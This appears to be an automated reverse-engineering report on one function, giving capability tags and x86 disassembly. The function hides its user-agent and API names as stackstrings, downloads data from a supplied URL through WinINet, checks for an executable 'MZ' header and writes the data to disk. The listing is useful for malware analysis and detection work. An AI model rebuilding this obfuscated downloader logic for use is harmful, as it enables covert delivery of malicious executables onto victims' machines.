Function at 0x409fc0
Capabilities:
Contain obfuscated stackstrings
Create http request
Write file on windows

Disassembly:
sub esp, 0x454
push ebx
mov eax, 1
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], eax
push edi
mov al, 0x6f
mov bl, 0x6c
push ebp
mov dword [esp + 0x50], ebp
mov dword [esp + 0x60], ebp
mov byte [esp + 0x34], 0x4d
mov byte [esp + 0x35], al
mov byte [esp + 0x36], 0x7a
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x61
mov byte [esp + 0x3b], 0x2f
mov byte [esp + 0x3c], 0x34
mov byte [esp + 0x3d], 0x2e
mov byte [esp + 0x3e], 0x30
mov byte [esp + 0x3f], 0x20
mov byte [esp + 0x40], 0x28
mov byte [esp + 0x41], 0x63
mov byte [esp + 0x42], al
mov byte [esp + 0x43], 0x6d
mov byte [esp + 0x44], 0x70
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x62
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], 0x29
mov byte [esp + 0x4c], 0
call esi
push ebp
push ebp
push ebp
lea eax, [esp + 0x3c]
push ebp
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
push ebp
mov dword [esp + 0x64], edi
call esi
cmp edi, ebp
jne 0x40a08f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x454
ret
push ebp
call esi
mov ecx, dword [esp + 0x468]
push ebp
push closesocket
push ebp
push ebp
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
push 0
mov dword [esp + 0x5c], ebp
call esi
test ebp, ebp
jne 0x40a0c4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x454
ret
mov edx, dword [esp + 0x46c]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
mov al, 0x49
mov cl, 0x4e
mov byte [esp + 0x11], al
mov byte [esp + 0x13], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x14], cl
mov al, 0x6e
mov cl, 0x64
mov byte [esp + 0x1d], al
mov byte [esp + 0x21], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x27], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x1d], 0x45
mov byte [esp + 0x1e], 0x54
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x52
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x30], 0x46
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp ebp, 0xffffffff
mov ebx, eax
je 0x40a20d
push 0
call esi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
xor edi, edi
push edi
call esi
mov ecx, dword [esp + 0x58]
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0x68]
push 0x400
push eax
push ecx
call ebx
push edi
call esi
cmp dword [esp + 0x54], edi
je 0x40a1cc
cmp word [esp + 0x64], 0x5a4d
jne 0x40a1f5
push edi
mov dword [esp + 0x58], edi
call esi
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x5c]
push edi
push edx
lea ecx, [esp + 0x6c]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call esi
cmp dword [esp + 0x4c], edi
jbe 0x40a1fc
jmp 0x40a18e
push edi
mov dword [esp + 0x54], edi
call esi
push edi
call esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov edi, dword [esp + 0x60]
push 0
call esi
mov edx, dword [esp + 0x58]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call ebx
push 0
call esi
push edi
call ebx
mov eax, dword [esp + 0x50]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x454
ret